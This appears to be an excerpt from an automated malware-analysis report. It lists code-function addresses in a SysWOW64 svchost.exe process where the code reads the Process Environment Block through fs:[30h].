Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E016 mov eax, dword ptr fs:[00000030h]	1_2_02E4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E016 mov eax, dword ptr fs:[00000030h]	1_2_02E4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E016 mov eax, dword ptr fs:[00000030h]	1_2_02E4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E016 mov eax, dword ptr fs:[00000030h]	1_2_02E4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F061E5 mov eax, dword ptr fs:[00000030h]	1_2_02F061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E601F8 mov eax, dword ptr fs:[00000030h]	1_2_02E601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF61C3 mov eax, dword ptr fs:[00000030h]	1_2_02EF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF61C3 mov eax, dword ptr fs:[00000030h]	1_2_02EF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E70185 mov eax, dword ptr fs:[00000030h]	1_2_02E70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEC188 mov eax, dword ptr fs:[00000030h]	1_2_02EEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEC188 mov eax, dword ptr fs:[00000030h]	1_2_02EEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED4180 mov eax, dword ptr fs:[00000030h]	1_2_02ED4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED4180 mov eax, dword ptr fs:[00000030h]	1_2_02ED4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB019F mov eax, dword ptr fs:[00000030h]	1_2_02EB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB019F mov eax, dword ptr fs:[00000030h]	1_2_02EB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB019F mov eax, dword ptr fs:[00000030h]	1_2_02EB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB019F mov eax, dword ptr fs:[00000030h]	1_2_02EB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A197 mov eax, dword ptr fs:[00000030h]	1_2_02E2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A197 mov eax, dword ptr fs:[00000030h]	1_2_02E2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A197 mov eax, dword ptr fs:[00000030h]	1_2_02E2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov eax, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov eax, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov ecx, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov eax, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov eax, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C156 mov eax, dword ptr fs:[00000030h]	1_2_02E2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC8158 mov eax, dword ptr fs:[00000030h]	1_2_02EC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36154 mov eax, dword ptr fs:[00000030h]	1_2_02E36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36154 mov eax, dword ptr fs:[00000030h]	1_2_02E36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E60124 mov eax, dword ptr fs:[00000030h]	1_2_02E60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov ecx, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov ecx, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov ecx, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov ecx, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118 mov ecx, dword ptr fs:[00000030h]	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118 mov eax, dword ptr fs:[00000030h]	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118 mov eax, dword ptr fs:[00000030h]	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118 mov eax, dword ptr fs:[00000030h]	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF0115 mov eax, dword ptr fs:[00000030h]	1_2_02EF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_02EAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_02EAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_02EAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_02EAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB06F1 mov eax, dword ptr fs:[00000030h]	1_2_02EB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB06F1 mov eax, dword ptr fs:[00000030h]	1_2_02EB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_02E6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A6C7 mov eax, dword ptr fs:[00000030h]	1_2_02E6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C6A6 mov eax, dword ptr fs:[00000030h]	1_2_02E6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E666B0 mov eax, dword ptr fs:[00000030h]	1_2_02E666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34690 mov eax, dword ptr fs:[00000030h]	1_2_02E34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34690 mov eax, dword ptr fs:[00000030h]	1_2_02E34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF866E mov eax, dword ptr fs:[00000030h]	1_2_02EF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF866E mov eax, dword ptr fs:[00000030h]	1_2_02EF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A660 mov eax, dword ptr fs:[00000030h]	1_2_02E6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A660 mov eax, dword ptr fs:[00000030h]	1_2_02E6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E62674 mov eax, dword ptr fs:[00000030h]	1_2_02E62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4C640 mov eax, dword ptr fs:[00000030h]	1_2_02E4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E627 mov eax, dword ptr fs:[00000030h]	1_2_02E4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E66620 mov eax, dword ptr fs:[00000030h]	1_2_02E66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68620 mov eax, dword ptr fs:[00000030h]	1_2_02E68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3262C mov eax, dword ptr fs:[00000030h]	1_2_02E3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE609 mov eax, dword ptr fs:[00000030h]	1_2_02EAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72619 mov eax, dword ptr fs:[00000030h]	1_2_02E72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E527ED mov eax, dword ptr fs:[00000030h]	1_2_02E527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E527ED mov eax, dword ptr fs:[00000030h]	1_2_02E527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E527ED mov eax, dword ptr fs:[00000030h]	1_2_02E527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE7E1 mov eax, dword ptr fs:[00000030h]	1_2_02EBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E347FB mov eax, dword ptr fs:[00000030h]	1_2_02E347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E347FB mov eax, dword ptr fs:[00000030h]	1_2_02E347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3C7C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB07C3 mov eax, dword ptr fs:[00000030h]	1_2_02EB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E307AF mov eax, dword ptr fs:[00000030h]	1_2_02E307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED678E mov eax, dword ptr fs:[00000030h]	1_2_02ED678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38770 mov eax, dword ptr fs:[00000030h]	1_2_02E38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6674D mov esi, dword ptr fs:[00000030h]	1_2_02E6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6674D mov eax, dword ptr fs:[00000030h]	1_2_02E6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6674D mov eax, dword ptr fs:[00000030h]	1_2_02E6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30750 mov eax, dword ptr fs:[00000030h]	1_2_02E30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE75D mov eax, dword ptr fs:[00000030h]	1_2_02EBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72750 mov eax, dword ptr fs:[00000030h]	1_2_02E72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72750 mov eax, dword ptr fs:[00000030h]	1_2_02E72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB4755 mov eax, dword ptr fs:[00000030h]	1_2_02EB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C720 mov eax, dword ptr fs:[00000030h]	1_2_02E6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C720 mov eax, dword ptr fs:[00000030h]	1_2_02E6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6273C mov eax, dword ptr fs:[00000030h]	1_2_02E6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6273C mov ecx, dword ptr fs:[00000030h]	1_2_02E6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6273C mov eax, dword ptr fs:[00000030h]	1_2_02E6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAC730 mov eax, dword ptr fs:[00000030h]	1_2_02EAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C700 mov eax, dword ptr fs:[00000030h]	1_2_02E6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30710 mov eax, dword ptr fs:[00000030h]	1_2_02E30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E60710 mov eax, dword ptr fs:[00000030h]	1_2_02E60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E304E5 mov ecx, dword ptr fs:[00000030h]	1_2_02E304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E364AB mov eax, dword ptr fs:[00000030h]	1_2_02E364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E644B0 mov ecx, dword ptr fs:[00000030h]	1_2_02E644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBA4B0 mov eax, dword ptr fs:[00000030h]	1_2_02EBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBC460 mov ecx, dword ptr fs:[00000030h]	1_2_02EBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5A470 mov eax, dword ptr fs:[00000030h]	1_2_02E5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5A470 mov eax, dword ptr fs:[00000030h]	1_2_02E5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5A470 mov eax, dword ptr fs:[00000030h]	1_2_02E5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2645D mov eax, dword ptr fs:[00000030h]	1_2_02E2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5245A mov eax, dword ptr fs:[00000030h]	1_2_02E5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E420 mov eax, dword ptr fs:[00000030h]	1_2_02E2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E420 mov eax, dword ptr fs:[00000030h]	1_2_02E2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E420 mov eax, dword ptr fs:[00000030h]	1_2_02E2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C427 mov eax, dword ptr fs:[00000030h]	1_2_02E2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68402 mov eax, dword ptr fs:[00000030h]	1_2_02E68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68402 mov eax, dword ptr fs:[00000030h]	1_2_02E68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68402 mov eax, dword ptr fs:[00000030h]	1_2_02E68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E325E0 mov eax, dword ptr fs:[00000030h]	1_2_02E325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C5ED mov eax, dword ptr fs:[00000030h]	1_2_02E6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C5ED mov eax, dword ptr fs:[00000030h]	1_2_02E6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E5CF mov eax, dword ptr fs:[00000030h]	1_2_02E6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E5CF mov eax, dword ptr fs:[00000030h]	1_2_02E6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E365D0 mov eax, dword ptr fs:[00000030h]	1_2_02E365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_02E6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_02E6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB05A7 mov eax, dword ptr fs:[00000030h]	1_2_02EB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB05A7 mov eax, dword ptr fs:[00000030h]	1_2_02EB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB05A7 mov eax, dword ptr fs:[00000030h]	1_2_02EB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E545B1 mov eax, dword ptr fs:[00000030h]	1_2_02E545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E545B1 mov eax, dword ptr fs:[00000030h]	1_2_02E545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E32582 mov eax, dword ptr fs:[00000030h]	1_2_02E32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E32582 mov ecx, dword ptr fs:[00000030h]	1_2_02E32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E64588 mov eax, dword ptr fs:[00000030h]	1_2_02E64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E59C mov eax, dword ptr fs:[00000030h]	1_2_02E6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6656A mov eax, dword ptr fs:[00000030h]	1_2_02E6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6656A mov eax, dword ptr fs:[00000030h]	1_2_02E6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6656A mov eax, dword ptr fs:[00000030h]	1_2_02E6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38550 mov eax, dword ptr fs:[00000030h]	1_2_02E38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38550 mov eax, dword ptr fs:[00000030h]	1_2_02E38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6500 mov eax, dword ptr fs:[00000030h]	1_2_02EC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6AAEE mov eax, dword ptr fs:[00000030h]	1_2_02E6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6AAEE mov eax, dword ptr fs:[00000030h]	1_2_02E6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E86ACC mov eax, dword ptr fs:[00000030h]	1_2_02E86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E86ACC mov eax, dword ptr fs:[00000030h]	1_2_02E86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E86ACC mov eax, dword ptr fs:[00000030h]	1_2_02E86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30AD0 mov eax, dword ptr fs:[00000030h]	1_2_02E30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E64AD0 mov eax, dword ptr fs:[00000030h]	1_2_02E64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E64AD0 mov eax, dword ptr fs:[00000030h]	1_2_02E64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38AA0 mov eax, dword ptr fs:[00000030h]	1_2_02E38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38AA0 mov eax, dword ptr fs:[00000030h]	1_2_02E38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E86AA4 mov eax, dword ptr fs:[00000030h]	1_2_02E86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
